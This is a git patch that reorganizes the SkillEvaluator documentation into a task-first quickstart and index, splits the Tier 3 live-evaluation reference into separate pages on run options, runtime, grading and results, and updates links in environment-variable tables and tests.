From 7d420f3de9ddddba6b969e4dd4450cc1bc612649 Mon Sep 17 00:00:00 2001 From: Christopher Kevin Date: Mon, 16 Nov 2026 18:04:50 -0800 Subject: [PATCH 01/12] docs: lead onboarding with first results and split Tier 3 reference Signed-off-by: Christopher Kevin --- CHANGELOG.md | 5 + README.md | 2 +- docs/AGENTS.md | 13 +- docs/README.md | 7 +- docs/cli-reference.mdx | 12 +- docs/custom-graders.mdx | 2 +- docs/environment-variables.mdx | 10 +- docs/eval-datasets.mdx | 8 +- docs/index.mdx | 150 +- docs/quickstart.mdx | 180 +- docs/reports.mdx | 10 +- docs/tier3-experiments.mdx | 219 ++ docs/tier3-grading.mdx | 335 +++ docs/tier3-live-evaluation.mdx | 2567 ++--------------- docs/tier3-results.mdx | 688 +++++ docs/tier3-run-options.mdx | 603 ++++ docs/tier3-runtime.mdx | 498 ++++ fern/docs.yml | 51 +- .../test_applicability_saved_runs.py | 2 +- .../test_tier3_completed_agent_docs.py | 2 +- tests/test_accuracy_arithmetic.py | 2 +- tests/test_benchmark_rollout_docs.py | 2 +- tests/test_harbor_claude_refusal_fallback.py | 10 +- tests/test_harbor_scaffold_transactions.py | 2 +- tests/test_oss_packaging.py | 15 +- tests/test_tier3_progress.py | 2 +- tests/test_tier3_public_runtime.py | 2 +- tests/tier3/test_baseline_timeouts.py | 4 +- 28 files changed, 2791 insertions(+), 2612 deletions(-) create mode 100644 docs/tier3-experiments.mdx create mode 100644 docs/tier3-grading.mdx create mode 100644 docs/tier3-results.mdx create mode 100644 docs/tier3-run-options.mdx create mode 100644 docs/tier3-runtime.mdx diff --git a/CHANGELOG.md b/CHANGELOG.md index bbc9d217b..e424c02ba 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -6,6 +6,11 @@ All notable changes to SkillEvaluator are documented in this file. ### Added +- Task-first documentation entry pages: a three-step keyless quickstart and a + live-evaluation walkthrough with provider tabs, readiness checks, and report + interpretation. Detailed Tier 3 run options, runtime behavior, grading, + results, and experiments now have separate reference pages; existing topic + bookmarks link to their new locations. - The Tier 3 report data and JSON report record which execution backend ran the evaluation, as `execution_backend` (`harbor` or `nemo-gym`), next to the sandbox `environment`. diff --git a/README.md b/README.md index 3c51808b1..d348a8265 100644 --- a/README.md +++ b/README.md @@ -212,7 +212,7 @@ retain their applicable stages. Tier 1 gates `validate`. Tier 2 gates unless `--no-block-on-dedup` is set; Tier 3 gates only with `--block-on-agent-eval`. Model and managed-sandbox usage -can incur charges; see [runtime and cost](docs/tier3-live-evaluation.mdx#plan-for-cost). +can incur charges; see [runtime and cost](docs/tier3-run-options.mdx#plan-for-cost). Standalone generation needs substantive `evals/EVAL.md` guidance, a `--prompt` file with task requests and outcomes, or matching retained traces. `--force` diff --git a/docs/AGENTS.md b/docs/AGENTS.md index a94e4b712..99a6ac919 100644 --- a/docs/AGENTS.md +++ b/docs/AGENTS.md @@ -18,7 +18,12 @@ folder holds MDX pages published to /evals/results` | External root for run results. Precedence for writes: the `--results-dir` flag, then this variable, then the canonical in-skill location. Configured roots must remain outside the skill; `evals/results` is the only supported in-skill results root so generated output cannot change the skill's publication identity. Read commands (`view`, `compare`) honor the same order and also fall back to the legacy location so older runs stay visible. | | `SKILLEVALUATOR_OUTPUT_PROVENANCE_KEY_FILE` | macOS: `~/Library/Application Support/skillevaluator/output-provenance.key`; Linux: `$XDG_STATE_HOME/skillevaluator/output-provenance.key` (`~/.local/state` when `XDG_STATE_HOME` is unset); Windows: `%LOCALAPPDATA%\skillevaluator\output-provenance.key` | Local key that authenticates the markers SkillEvaluator writes into its generated output directories; a directory is replaced only when its marker verifies for that path. The key is created on first use. It must be outside every evaluated skill and generated output tree. On macOS and Linux, the file and its directory must be owned by the current user and not accessible to group or other users. | | `SKILLEVALUATOR_LOCAL_SANDBOX` | `require` | Local-mode sandbox policy. `require` fails closed when no OS sandbox backend (Bubblewrap on Linux, Seatbelt on macOS) is usable; `prefer` degrades to advisory-only guardrails with a loud warning; `off` skips sandbox probing entirely — for skills you fully trust. Any other value is rejected. No value enables native Windows: local mode fails closed there before anything runs — use WSL2 or `--env-mode docker`. | -| `SKILL_EVAL_NEMO_GYM_BIN` | `gym` on `PATH` | Path to the experimental task-folder adapter's pinned Gym executable. Public `nemo-gym==0.7.0` is incompatible; the public source candidate still needs native runtime qualification. See [Execution backends](/skills/skillevaluator/tier3-live-evaluation#execution-backends). | +| `SKILL_EVAL_NEMO_GYM_BIN` | `gym` on `PATH` | Path to the experimental task-folder adapter's pinned Gym executable. Public `nemo-gym==0.7.0` is incompatible; the public source candidate still needs native runtime qualification. See [Execution backends](/skills/skillevaluator/tier3-runtime#execution-backends). | | `SKILL_EVAL_NEMO_GYM_MODEL_URL` | provider base URL | OpenAI-compatible base URL (ending in `/v1`) of the policy model for `--backend nemo-gym`. When set, also choose a model it serves with `--model`, `--agent-model` or `harbor.agents..model`. | | `SKILL_EVAL_NEMO_GYM_MODEL_API_KEY` | provider key, only when the URL is also the provider's | API key for that policy model. Required when `SKILL_EVAL_NEMO_GYM_MODEL_URL` is set; use `EMPTY` for a keyless server. Passed to Gym through the environment, never on the command line. | | `SKILL_EVAL_NEMO_GYM_HOST` | — | Address of this host that the Gym sandbox can reach (for example the Docker bridge gateway). Needed when the host name resolves to a loopback address. | @@ -174,8 +174,8 @@ execution environments are covered in | `SKILL_EVAL_JUDGE_MODEL` | falls back to `SKILL_EVAL_LLM_MODEL` | Operator-controlled model override for the Tier 3 dimension judge in standard grading. `LLM_JUDGE_MODEL` is honored as a higher-precedence spelling; when neither is set, the judge uses `SKILL_EVAL_LLM_MODEL`, then the built-in judge default. Both spellings change only the model used with the configured `SKILL_EVAL_LLM_PROVIDER`; they do not select a separate judge provider, so the model must be supported by that provider. Standard grading makes both spellings resolve to the selected override in Harbor's parent process, then forwards them through its verifier-only job layer, which takes precedence over task and step verifier declarations. Neither name is injected into the evaluated agent's initial environment; attempts to set or reference one from skill-authored `runtime_env` or native `[environment.env]` tables are rejected. Native custom-only graders keep ownership of their verifier configuration. Shared agent/verifier containers are a process boundary, not a confidentiality boundary; use a separate verifier environment when the model name itself must be hidden from untrusted agent processes. `run_config.json` records the configured judge provider, model, source, `override_applied`, reasoning effort, and catalog-verification status separately from agent models; an allowed provider fallback may use a different model for an individual judge call. When `override_applied` is false for a native Harbor task, `effective_model_source` is `native_harbor_runtime` and catalog verification is explicitly inconclusive because an authored task or step verifier declaration may supersede the recorded fallback. | | `LLM_JUDGE_FALLBACK_MODELS` | unset | Comma-separated fallback models for the Tier 3 standard judges in the Harbor verifier. When the provider rejects the judge model as not found, invalid, or not accessible to the key, the verifier tries each fallback in order with the same provider. Fallback applies to the `openai`, `nv_build`, and `openai-compatible` providers. A safety refusal or an empty reply from the judge model also moves to the next fallback, on every provider. The value is forwarded only to standard verifier jobs, never to the agent environment or `custom_only` runs. | | `SKILL_EVAL_LLM_REFUSAL_FALLBACK_MODEL` | `claude-opus-4-8` | Model named as the server-side refusal fallback on requests to Claude 5.5 or later models on the native Claude API; on Bedrock, the Tier 3 judge's refusal retry uses it. On Bedrock, a bare name such as `claude-opus-4-8` gets the judge model's geography prefix (`us.anthropic.`, `global.anthropic.`), and a full Bedrock ID such as `global.anthropic.claude-opus-4-8` is used as given. Set `none`, `off`, `disabled`, `false` or `0` to send no fallback, for example when the API answers HTTP 400 `is not a valid fallback target` for your model. An empty value counts as unset, and a fallback equal to the request model is never sent. Forwarded to standard verifier jobs like `LLM_JUDGE_FALLBACK_MODELS`. The reusable SkillEvaluator CI workflows do not take this variable; their provider-backed jobs keep the default. | -| `LLM_JUDGE_FALLBACK_POLICY` | `append` | Opt-in limit on which models may answer a Tier 3 standard judge. `append` keeps the built-in refusal fallback, which sends a refused Claude 5.5 or later judge to `SKILL_EVAL_LLM_REFUSAL_FALLBACK_MODEL` (default `claude-opus-4-8`, off with `none`, never sent when it equals the judge model). `replace` turns it off, so only the judge model and the `LLM_JUDGE_FALLBACK_MODELS` entries answer. Values are case-insensitive; any other value stops a run with standard grading before trials start, and the verifier fails every standard judge on it before a request is sent. Forwarded like `LLM_JUDGE_FALLBACK_MODELS`, and recorded as `judge.fallback_policy` in `run_config.json` when set. See [Judge fallback and retry policies](/skills/skillevaluator/tier3-live-evaluation#judge-fallback-and-retry-policies). | -| `LLM_JUDGE_RETRY_POLICY` | `legacy` | Opt-in retry policy for the Tier 3 standard judges. `strict` tries at most three models (the judge model, then the first two `LLM_JUDGE_FALLBACK_MODELS` entries) with at most two requests each within the per-judge time budget, moves on only when a model is unavailable, ends the judge on a refusal or a quota, budget, safety, or security error, and scores only a first completed reply that is exactly one JSON object. `legacy` keeps the standard retries, fallbacks, format retry, and salvage. Values are case-insensitive; any other value stops a run with standard grading before trials start, and the verifier fails every standard judge on it before a request is sent. Forwarded like `LLM_JUDGE_FALLBACK_MODELS`, and recorded as `judge.retry_policy` in `run_config.json` when set. See [Judge fallback and retry policies](/skills/skillevaluator/tier3-live-evaluation#judge-fallback-and-retry-policies). | +| `LLM_JUDGE_FALLBACK_POLICY` | `append` | Opt-in limit on which models may answer a Tier 3 standard judge. `append` keeps the built-in refusal fallback, which sends a refused Claude 5.5 or later judge to `SKILL_EVAL_LLM_REFUSAL_FALLBACK_MODEL` (default `claude-opus-4-8`, off with `none`, never sent when it equals the judge model). `replace` turns it off, so only the judge model and the `LLM_JUDGE_FALLBACK_MODELS` entries answer. Values are case-insensitive; any other value stops a run with standard grading before trials start, and the verifier fails every standard judge on it before a request is sent. Forwarded like `LLM_JUDGE_FALLBACK_MODELS`, and recorded as `judge.fallback_policy` in `run_config.json` when set. See [Judge fallback and retry policies](/skills/skillevaluator/tier3-grading#judge-fallback-and-retry-policies). | +| `LLM_JUDGE_RETRY_POLICY` | `legacy` | Opt-in retry policy for the Tier 3 standard judges. `strict` tries at most three models (the judge model, then the first two `LLM_JUDGE_FALLBACK_MODELS` entries) with at most two requests each within the per-judge time budget, moves on only when a model is unavailable, ends the judge on a refusal or a quota, budget, safety, or security error, and scores only a first completed reply that is exactly one JSON object. `legacy` keeps the standard retries, fallbacks, format retry, and salvage. Values are case-insensitive; any other value stops a run with standard grading before trials start, and the verifier fails every standard judge on it before a request is sent. Forwarded like `LLM_JUDGE_FALLBACK_MODELS`, and recorded as `judge.retry_policy` in `run_config.json` when set. See [Judge fallback and retry policies](/skills/skillevaluator/tier3-grading#judge-fallback-and-retry-policies). | | `SKILLEVALUATOR_HARBOR_DIAGNOSTIC_ARTIFACT_MAX_BYTES` | `5242880` (5 MiB) | Size cap per diagnostic artifact copied from a Harbor trial into the results directory. Values are bounded to 0–67108864 bytes (64 MiB); `0` skips non-empty artifacts. Oversized artifacts are skipped and recorded in the artifact manifest. | | `SKILLEVALUATOR_GKE_CLUSTER`, `SKILLEVALUATOR_GKE_REGION`, `SKILLEVALUATOR_GKE_NAMESPACE`, `SKILLEVALUATOR_GKE_REGISTRY_LOCATION`, `SKILLEVALUATOR_GKE_REGISTRY_NAME` | — | Target cluster, region, namespace, and Artifact Registry coordinates for `--env-mode gke` when not supplied via `--ek`. | | `SKILLEVALUATOR_GKE_ALLOW_WORKLOAD_IDENTITY` | `false` | Opt in (`1`, `true`, `yes`) to single-pod GKE Workload Identity (`CLAUDE_CODE_USE_VERTEX=1` or a GCP-bound Kubernetes ServiceAccount). Restricted to trusted skills because the pod ServiceAccount and GCE/GKE metadata server are shared with evaluated skill commands. | @@ -220,7 +220,7 @@ to standard Tier 3 judge prompts. It is off by default; `true`, `yes`, and `on` also enable it (case-insensitive). This operator-owned setting is forwarded only to standard verifier jobs, never to agent environments or `custom_only` jobs. When configured, its value is recorded as `judge.character_facts` in -`run_config.json`. See [character-sensitive judging](/skills/skillevaluator/tier3-live-evaluation#character-sensitive-judging) +`run_config.json`. See [character-sensitive judging](/skills/skillevaluator/tier3-grading#character-sensitive-judging) for scope, limits, and the effect on the goal-accuracy route. Before the Harbor verifier calls the `accuracy`, `goal_accuracy`, and @@ -241,7 +241,7 @@ Setting `SKILL_EVAL_BEHAVIOR_CHECK_BUDGET` below `SKILL_EVAL_BEHAVIOR_FINAL_RESP plus 1600 is honoured, but logs a warning: the final response will not fit beside any tool history, and `behavior_check` then reports incomplete evidence instead of a score (see -[behavior evidence completeness](/skills/skillevaluator/tier3-live-evaluation#evidence-budgets)). +[behavior evidence completeness](/skills/skillevaluator/tier3-grading#evidence-budgets)). Lower the final-response limit alongside the budget to cap the judge prompt without losing the answer. diff --git a/docs/eval-datasets.mdx b/docs/eval-datasets.mdx index 91546c49e..af168dedc 100644 --- a/docs/eval-datasets.mdx +++ b/docs/eval-datasets.mdx @@ -100,7 +100,7 @@ them about the task outcome. A prompt that points at the skill's files, or an expected output or assertion that the agent read `SKILL.md`, ran the skill's script, or used the skill, cannot be met by the baseline and inflates lift. `skill_execution` scores skill use separately (see -[How standard grading judges a trial](/skills/skillevaluator/tier3-live-evaluation#how-standard-grading-judges-a-trial)). +[How standard grading judges a trial](/skills/skillevaluator/tier3-grading#how-standard-grading-judges-a-trial)). Template cases from `create-eval-dataset` are outcome-only. When the skill's description reads, opens, loads, consults or follows `SKILL.md` with no path before it, or otherwise points at the skill's own `SKILL.md` as a prompt @@ -250,7 +250,7 @@ including sample sizes and the lack of independent human labels. to discover or measure, so its Discoverability and Efficiency are N/A. If no entry is a positive case that names an `expected_skill`, the agent cannot PASS. See - [Reading results](/skills/skillevaluator/tier3-live-evaluation#reading-results). + [Reading results](/skills/skillevaluator/tier3-results#reading-results). @@ -565,10 +565,10 @@ grading: | `harbor.max_judge_calls` | integer ≥ 0 | Maximum recorded non-salvage judge attempts; excludes transport retries and RAGAS-internal requests. | | `harbor.max_attempts_total` | integer ≥ 0 | Maximum logical Harbor attempts admitted across agents and arms, including private comparison arms. | | `harbor.max_cost_usd` | finite number ≥ 0 | Agent inference accounting admission limit, not a hard currency ceiling or billed spend; requires `harbor.price_file`. Judge, setup, container, backend, and infrastructure charges are excluded. | -| `harbor.price_file` | path | User-supplied JSON rates per million tokens, keyed by exact resolved model identifier, not verified billing prices. Relative paths resolve from the source skill directory. Each model requires `input_per_mtok` and `output_per_mtok`; optional `cached_input_per_mtok` defaults to the input rate. File name/hash and actually applied rates are retained in `budget.pricing`; see [cost limits](/skills/skillevaluator/tier3-live-evaluation#cost-limits). | +| `harbor.price_file` | path | User-supplied JSON rates per million tokens, keyed by exact resolved model identifier, not verified billing prices. Relative paths resolve from the source skill directory. Each model requires `input_per_mtok` and `output_per_mtok`; optional `cached_input_per_mtok` defaults to the input rate. File name/hash and actually applied rates are retained in `budget.pricing`; see [cost limits](/skills/skillevaluator/tier3-run-options#cost-limits). | | `harbor.timeout_multiplier` | finite number > 0 | Scales task timeouts. Values that would overflow Harbor's mandatory lifecycle timeouts are rejected before execution. | | `harbor.agent_runtime_preflight` | boolean | Opt-in extra agent-only execution of the first staged task before the measured evaluation. Default: `false`; the CLI flag overrides this value. | -| `harbor.tolerate_baseline_timeouts` | boolean | Keep an agent scored on its with-skill arm when only baseline attempts hit the agent execution timeout; its baseline and Skill Lift are not reported (see [Baseline timeouts](/skills/skillevaluator/tier3-live-evaluation#baseline-timeouts)). Default: `false`; the CLI flag overrides this value. | +| `harbor.tolerate_baseline_timeouts` | boolean | Keep an agent scored on its with-skill arm when only baseline attempts hit the agent execution timeout; its baseline and Skill Lift are not reported (see [Baseline timeouts](/skills/skillevaluator/tier3-run-options#baseline-timeouts)). Default: `false`; the CLI flag overrides this value. | | `harbor.agent_workdir` | string | Working directory for the agent inside the container. | | `harbor.resources` | `cpus`, `memory_mb`, `storage_mb` | Per-container resource requests. | | `harbor.runtime_env` | list or mapping | Non-credential task values passed into the container. Prefer a list of plain names — each expands to `${NAME}` from your shell; a mapping sets explicit templates. Entries that name or reference operator-owned credentials (`OPENAI_API_KEY`, `ANTHROPIC_API_KEY`, `NVIDIA_API_KEY`, base-URL variables, AWS credential variables) fail with a hard error. Alias: `passthrough_env`. | diff --git a/docs/index.mdx b/docs/index.mdx index eace890a3..65dccc4ef 100644 --- a/docs/index.mdx +++ b/docs/index.mdx @@ -1,125 +1,65 @@ --- title: "SkillEvaluator" -description: "An open-source, multi-tier framework for evaluating AI agent artifacts, starting with agent skills." +description: "Check an agent skill, measure its effect on a real agent, or add automatic checks to your repository." layout: overview --- -SkillEvaluator is an open-source, multi-tier framework for evaluating AI agent artifacts, starting with agent skills: deterministic quality gates, semantic overlap detection, synthetic eval dataset generation, and live agent evaluation. +Check your agent skills for quality and security, then measure whether they help an agent complete real tasks. -Agent skills are folders of instructions and supporting files that extend AI agents, as defined by the [Agent Skills specification](https://agentskills.io/). SkillEvaluator is part of the [NVIDIA Verified Skills pipeline](https://docs.nvidia.com/skills/), published from the [NVIDIA/skills catalog](https://github.com/NVIDIA/skills). Tier 1 integrates [SkillSpector](https://github.com/NVIDIA/SkillSpector) for specialized security scanning; see [Installation](/skills/skillevaluator/installation#system-tools) for the security setup. - - - SkillEvaluator's support level is **Experimental**: community-supported on a best-effort basis through [GitHub Issues](https://github.com/NVIDIA/SkillEvaluator/issues), with no SLA. See [SUPPORT.md](https://github.com/NVIDIA/SkillEvaluator/blob/main/SUPPORT.md). - - - +
## Start with a first result -Choose a deterministic quality check or an LLM-backed rubric review. Both routes -use the bundled `text-analyzer` skill, so you can run them before preparing your -own skill. Neither route needs Docker or an agent runtime. Set up your chosen -agent and sandbox when you move on to [live Tier 3 evaluation](/skills/skillevaluator/tier3-live-evaluation). - -### Run without an LLM - -Install [uv](https://docs.astral.sh/uv/getting-started/installation/) and Git, -then clone the repository and run the base package: - -```bash title="Quality check with no API key" -git clone --depth 1 https://github.com/NVIDIA/SkillEvaluator.git -cd SkillEvaluator -uv run --python 3.13 skillevaluator quality-check src/skillevaluator/tier3/reference_skills/text-analyzer -r cli -r json -o reports/first-quality -``` - -Read the score, grade, and findings in the terminal, and open -`reports/first-quality/skillevaluator-quality.json` for the saved result. -This checks documentation quality; measuring the skill's effect on an agent -requires a [live evaluation](/skills/skillevaluator/tier3-live-evaluation). - -The [keyless Quickstart](/skills/skillevaluator/quickstart#run-without-an-llm) explains the result -and how to check your own skill. The full static security suite has additional -[scanner requirements](/skills/skillevaluator/installation#system-tools), even though it also -runs without an LLM or API key. + + **Get the example → run one command → read your result.** -### Use NVIDIA Build + Use a bundled skill to get a quality score and actionable findings. + You'll need Git and uv. No API key, GPU, or Docker required. + -For an LLM-backed rubric review, get an API key from -[NVIDIA Build](https://build.nvidia.com/), then run from the same checkout: +
-```bash title="LLM-backed rubric review" -export SKILL_EVAL_LLM_PROVIDER=nv_build -export NVIDIA_API_KEY='nvapi-...' -uv run --python 3.13 --extra llm skillevaluator rubric-eval src/skillevaluator/tier3/reference_skills/text-analyzer -r cli -r json -o reports/first-build -``` - -The `llm` extra installs the provider clients for this model call. The -[NVIDIA Build Quickstart](/skills/skillevaluator/quickstart#use-nvidia-build) covers access, -outputs, and the distinction between rubric scores and observed agent behavior. - -## The three tiers - -Each tier answers one question about your skill. +## What do you want to do? - - **Is this skill safe and well-formed?** Deterministic schema, quality, security, PII, license, and script checks that run offline — plus optional LLM-as-judge scoring. + + Run the same tasks with and without your skill. Open a report comparing the results. - - **Does it overlap with what exists?** Embedding similarity finds repeated guidance inside one skill and overlapping skills across a collection or catalog. + + Copy a GitHub or GitLab template. Get automatic quality and security reports when skills change. - - **Does it actually help the agent?** A real agent runs generated tasks with and without the skill, inside a sandbox, and the difference is measured. + + Install the SkillEvaluator skill and ask your agent to run an evaluation. -Every tier is an independent entry point — run any command directly; nothing requires running the earlier tiers first. - -| Tier | Representative commands | Requires | -| --- | --- | --- | -| [Tier 1](/skills/skillevaluator/tier1-validation) | `tier1 PATH`, `quality-check`, `security-scan`, `pii-scan`, `lint-scripts`, `rubric-eval` | No API key for deterministic checks; external Semgrep, SkillSpector, and Gitleaks executables for full scanner coverage; a provider key for LLM checks | -| [Tier 2](/skills/skillevaluator/tier2-deduplication) | `context-optimization-check`, `similarity-check` | An embeddings provider; intra-skill analysis also needs a chat LLM — local OpenAI-compatible endpoints work | -| [Tier 3](/skills/skillevaluator/tier3-live-evaluation) | `create-eval-dataset`, `tier3 evaluate`, `compare` | No credential for keyless templates and report inspection; a provider key for LLM generation and grading; live evaluation also needs the agent CLI with its credential and a Docker, local OS, or cloud sandbox | - -## How a run flows - - - SkillEvaluator pipeline: skill directory through Tier 1 static validation, Tier 2 semantic deduplication, and Tier 3 live agent evaluation, producing reports and a verdict - - -`skillevaluator validate ./my-skill` runs all three tiers by default, with -Tier 3 autopilot reusing an existing evaluation source or creating one starter -case when none exists. Tier 1's deterministic gates run offline. Tier 2 and the optional Tier 1 LLM checks need a provider key, and Tier 3 adds the agent credential and a sandbox. Every run ends in [reports](/skills/skillevaluator/reports) — CLI, JSON, HTML, or Markdown. - -## What Tier 3 measures - -- **Five dimensions** — Security, Correctness, Discoverability, Effectiveness, and Efficiency: human-readable scores that lead every standard grading report. -- **Skill Lift** — the measured difference between the with-skill and without-skill runs; the number that says whether the skill earns its place. -- **pass@k** — multi-attempt reliability, reported separately from the dimension scores. - -How to read all three, and the on-disk results contract, live in [Reports & Results](/skills/skillevaluator/reports). - -## Explore the docs - - - - Run a bundled quality check without an LLM, or use NVIDIA Build for a rubric review. - - - Install the SkillEvaluator skill in Codex, Claude Code, OpenCode, or OpenClaw and evaluate skills by asking. - - - Make SkillEvaluator a merge gate — exit codes, a GitHub Actions recipe, and progressive adoption. - - - Every command, every flag, exact defaults. - - - Dev environment, tests, docs workflow, and how to submit a change. - - +## The three tiers -- [SkillEvaluator on GitHub](https://github.com/NVIDIA/SkillEvaluator) -- [Support](https://github.com/NVIDIA/SkillEvaluator/blob/main/SUPPORT.md) — best-effort, through GitHub Issues -- [Security policy](https://github.com/NVIDIA/SkillEvaluator/blob/main/SECURITY.md) — report vulnerabilities privately, never in a public issue -- [License](https://github.com/NVIDIA/SkillEvaluator/blob/main/LICENSE) — Apache-2.0 +Choose the check that answers your question. Each tier can run independently. + +| Your question | Evaluation | +| --- | --- | +| Is my skill well-formed and safe to use? | [Tier 1 · Quality and security checks](/skills/skillevaluator/tier1-validation) | +| Does it repeat or overlap with existing guidance? | [Tier 2 · Deduplication](/skills/skillevaluator/tier2-deduplication) | +| Does it improve an agent's results? | [Tier 3 · Live evaluation](/skills/skillevaluator/tier3-live-evaluation) | + +Need a specific option? Open [Installation](/skills/skillevaluator/installation), +[Providers & Credentials](/skills/skillevaluator/configuration), +[Reports & Results](/skills/skillevaluator/reports), or the +[CLI Reference](/skills/skillevaluator/cli-reference). + + + SkillEvaluator is an open-source, multi-tier framework for evaluating AI agent artifacts, + starting with agent skills: deterministic quality gates, semantic overlap detection, + synthetic eval dataset generation, and live agent evaluation. + + It is part of [NVIDIA Verified Skills](https://docs.nvidia.com/skills/) and the + [NVIDIA/skills catalog](https://github.com/NVIDIA/skills). Tier 1 integrates + [SkillSpector](https://github.com/NVIDIA/SkillSpector) for security scanning. + + **Experimental:** community-supported on a best-effort basis, with no SLA. + [Get support](https://github.com/NVIDIA/SkillEvaluator/blob/main/SUPPORT.md), + [report a security vulnerability privately](https://github.com/NVIDIA/SkillEvaluator/blob/main/SECURITY.md), + or [contribute](/skills/skillevaluator/developer-guide). + SkillEvaluator is [Apache-2.0 licensed](https://github.com/NVIDIA/SkillEvaluator/blob/main/LICENSE). + diff --git a/docs/quickstart.mdx b/docs/quickstart.mdx index c299c7c29..2fd8b2b6f 100644 --- a/docs/quickstart.mdx +++ b/docs/quickstart.mdx @@ -1,39 +1,26 @@ --- -title: Quickstart -description: Run a keyless quality check on a bundled skill, then add NVIDIA Build for your first model-backed evaluation. +title: "Run your first check" +sidebar-title: "Quickstart" +description: "Get a bundled skill, run a quality check, and read the saved result. No API key required." --- -Start with a complete example included in the repository. Choose a keyless -quality check, or add NVIDIA Build to get feedback from a model. +Get a quality score and findings for a complete example skill. You'll need +**Git** and [**uv**](https://docs.astral.sh/uv/getting-started/installation/). +No API key, GPU, or Docker required. -| Start here | What you need | What you get | -| --- | --- | --- | -| [Run without an LLM](#run-without-an-llm) | Git and uv | A deterministic quality score and findings | -| [Use NVIDIA Build](#use-nvidia-build) | Git, uv, and an NVIDIA Build API key | Model-backed rubric scores and feedback | + -For an executable terminal replay with checked outputs, an editable task, a -deliberate regression and report interpretation, use the -[reproducible starter demo](/skills/skillevaluator/starter-demo). It uses the same bundled skill. +### Get the example -## Get the example - -Install [uv](https://docs.astral.sh/uv/getting-started/installation/) and Git, -then clone the repository: - -```bash title="Get SkillEvaluator and the sample skill" +```bash title="Clone the repository" git clone --depth 1 https://github.com/NVIDIA/SkillEvaluator.git cd SkillEvaluator ``` -Run the commands below from this checkout. uv provisions Python 3.13 and -installs the dependencies needed for the selected path. The bundled -`text-analyzer` skill includes its `SKILL.md` and a working text-analysis script, -so you can evaluate a complete skill before creating your own. - -## Run without an LLM +The bundled `text-analyzer` skill includes instructions and a working script. +Keep this terminal open for the following commands. -This path runs offline after installation. It needs no API key, model, security -scanner, GPU, or Docker runtime. +### Run without an LLM ```bash title="Score the bundled skill" uv run --python 3.13 skillevaluator quality-check \ @@ -41,99 +28,82 @@ uv run --python 3.13 skillevaluator quality-check \ -r cli -r json -o reports/first-quality ``` -The terminal shows a score from 0–100, an A–F grade, and individual findings. -With the current quality checks, the bundled example scores **88.8/100 (B)** -with **5 findings**. It passes the default minimum score of 70 and exits `0`. -The same result is saved to: - -```text -reports/first-quality/skillevaluator-quality.json -``` - -This checks static quality across correctness, discoverability, reliability, -and efficiency. It does not run the security scanners or measure an agent's -performance. The report's publication status remains `INCOMPLETE` because a -quality score alone does not supply all required evaluation evidence. See -[Reports & Results](/skills/skillevaluator/reports) for the full output contract. - -## Use NVIDIA Build - -Add model-backed rubric feedback for the same example. NVIDIA Build hosts the -model, so this first model call needs no local GPU or Docker runtime. - -Eligible NVIDIA Developer Program accounts have free access to NVIDIA-hosted -API endpoints for prototyping. Check the -[NVIDIA access FAQ](https://docs.api.nvidia.com/nim/docs/product) and your -account for current eligibility, model availability, and rate limits. - -1. Open [NVIDIA Build](https://build.nvidia.com/), sign in or create an NVIDIA - account, and complete the Developer Program enrollment prompts. -2. Open a model page, choose **Get API Key**, then generate and copy your key. - The [API Catalog quickstart](https://docs.api.nvidia.com/nim/docs/api-quickstart) - walks through this flow. -3. Set the provider and key in the same terminal. Replace the example key with - the key you copied: - -```bash title="Configure NVIDIA Build" -export SKILL_EVAL_LLM_PROVIDER=nv_build -export NVIDIA_API_KEY='nvapi-...' -``` - -Run the rubric evaluation with the `llm` extra: +uv installs Python and the required packages on the first run. +The check itself runs offline. -```bash title="Get model-backed rubric feedback" -uv run --python 3.13 --extra llm skillevaluator rubric-eval \ - src/skillevaluator/tier3/reference_skills/text-analyzer \ - -r cli -r json -o reports/first-build -``` +### Read your result -The terminal shows the model's rubric scores and feedback, and saves the report -to: +The terminal shows your **score out of 100**, **A–F grade**, and findings to fix. +The default minimum quality score is **70**. Open the saved JSON result at: -```text -reports/first-build/skillevaluator-rubric.json +```text title="Your saved report" +reports/first-quality/skillevaluator-quality.json ``` -Scores can vary between model calls. This evaluates the skill's instructions; -it does not run an agent with the skill. For model overrides or another -provider, see [Providers & Credentials](/skills/skillevaluator/configuration). + + This is a quality check. Security scanners and live agents have not run, + so the report's overall publication status remains **INCOMPLETE** even when + the quality check passes. + -## Where to go next + -### Check your own skill +## Check your own skill -Replace the sample path with a directory containing your `SKILL.md`. Keep the -report output outside that directory: +Replace the sample path with the directory containing your `SKILL.md`. +Keep the report output outside that directory: -```bash title="Evaluate your skill's quality" +```bash title="Run from the same checkout" uv run --python 3.13 skillevaluator quality-check ./my-skill \ -r cli -r json -o reports/my-skill-quality ``` -### Add full static validation - -Full static Tier 1 coverage needs the separate -Semgrep, SkillSpector, and Gitleaks executables. Follow -[scanner setup](/skills/skillevaluator/installation#system-tools), then run: - -```bash title="Run the static Tier 1 suite" -uv run --python 3.13 skillevaluator tier1 ./my-skill --no-llm -``` - -`--no-llm` disables model-backed stages; it does not remove scanner -requirements. Missing required scanner evidence leaves validation `INCOMPLETE` -and exits nonzero. See [Tier 1: Validation](/skills/skillevaluator/tier1-validation) for the -checks and exit codes. +## Use NVIDIA Build -### Add deduplication or live evaluation +Want model feedback on the instructions? Add a rubric review for the same skill. + + + 1. Sign in to [NVIDIA Build](https://build.nvidia.com/) and complete the + Developer Program enrollment prompts. + 2. On a model page, choose **Get API Key** and copy your key. See the + [API Catalog quickstart](https://docs.api.nvidia.com/nim/docs/api-quickstart) + for the account setup steps and the + [access FAQ](https://docs.api.nvidia.com/nim/docs/product) for eligibility and limits. + 3. In the same terminal, replace the example key and run: + + ```bash title="Add model-backed feedback" + export SKILL_EVAL_LLM_PROVIDER=nv_build + export NVIDIA_API_KEY='nvapi-...' + uv run --python 3.13 --extra llm skillevaluator rubric-eval \ + src/skillevaluator/tier3/reference_skills/text-analyzer \ + -r cli -r json -o reports/first-build + ``` + + Read the rubric feedback in the terminal or open + `reports/first-build/skillevaluator-rubric.json`. + Scores can vary between calls. This reviews the instructions; it does not + run an agent with the skill. No local GPU or Docker is needed. + + For other providers or model overrides, see + [Providers & Credentials](/skills/skillevaluator/configuration). + -| Your goal | Additional setup | Guide | -| --- | --- | --- | -| Find repeated or overlapping guidance | The `tier2` extra, embeddings, and chat for intra-skill analysis | [Tier 2: Deduplication](/skills/skillevaluator/tier2-deduplication) | -| Measure whether a skill improves an agent | The `tier3` extra, evaluator and agent credentials, a supported agent, and Docker for the default sandbox | [Tier 3: Live Evaluation](/skills/skillevaluator/tier3-live-evaluation) | -| Run the combined pipeline or gate CI | The extras, credentials, scanners, and runtime for the 